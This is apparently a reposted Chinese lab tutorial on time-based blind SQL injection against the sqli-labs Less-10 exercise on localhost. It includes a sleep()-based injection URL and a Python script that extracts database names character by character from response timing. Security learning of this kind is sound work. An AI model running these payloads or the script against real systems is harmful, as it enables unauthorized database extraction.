SQL盲注——时间注入


时间盲注原理

既不回显数据,也不回显错误信息,所以不能通过页面来判断是否存在SQL注入漏洞
联合查询、报错查询和布尔盲注在此时就不起作用了
例:在登录案例中,构造SQL语句,发送登录请求,让程序延时执行,判断信息
构造逻辑语句,通过条件语句进行判断,为真则立即执行,为假则延时执行
核心语法:if(left(user(),1)= ‘a’,0,sleep(3));

时间盲注方法

通过Less-10来进行测试
Less-10的代码
在这里插入图片描述

$id = '"'.$id.'"';                                                                                                                                                                                                                         
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

双引号,不再是单引号
127.0.0.1/Less-10/?id=1" and if(left(user(),1)= ‘c’,0,sleep(10))–+
此时user()的第一个字符为’r’,所以执行后面的sleep(10),页面响应明显变慢

时间注入脚本编写
在这里插入图片描述
root@rane:~# cat timeBlindSql.py

import requests
import time
url = 'http://127.0.0.1/Less-10/?id=1'#存在时间盲注漏洞的地址
result=''
print('test')
database = 'select schema_name from information_schema.schemata'#多余的分号
table = 'select table_name from information_schema.tables where table_schema = "database_name"'
column = 'select column_name from information_schema.columns where table_name = "table_name"'
for i in range(1,100):
    for j in range(48,122):
        payload=r'" and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),0)--+'.format(database,i,j)
        stime=time.time()
        r=requests.get(url+payload)
        etime=time.time()
        if etime-stime>=2:
            result+=chr(j)
            print(result)
            break


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM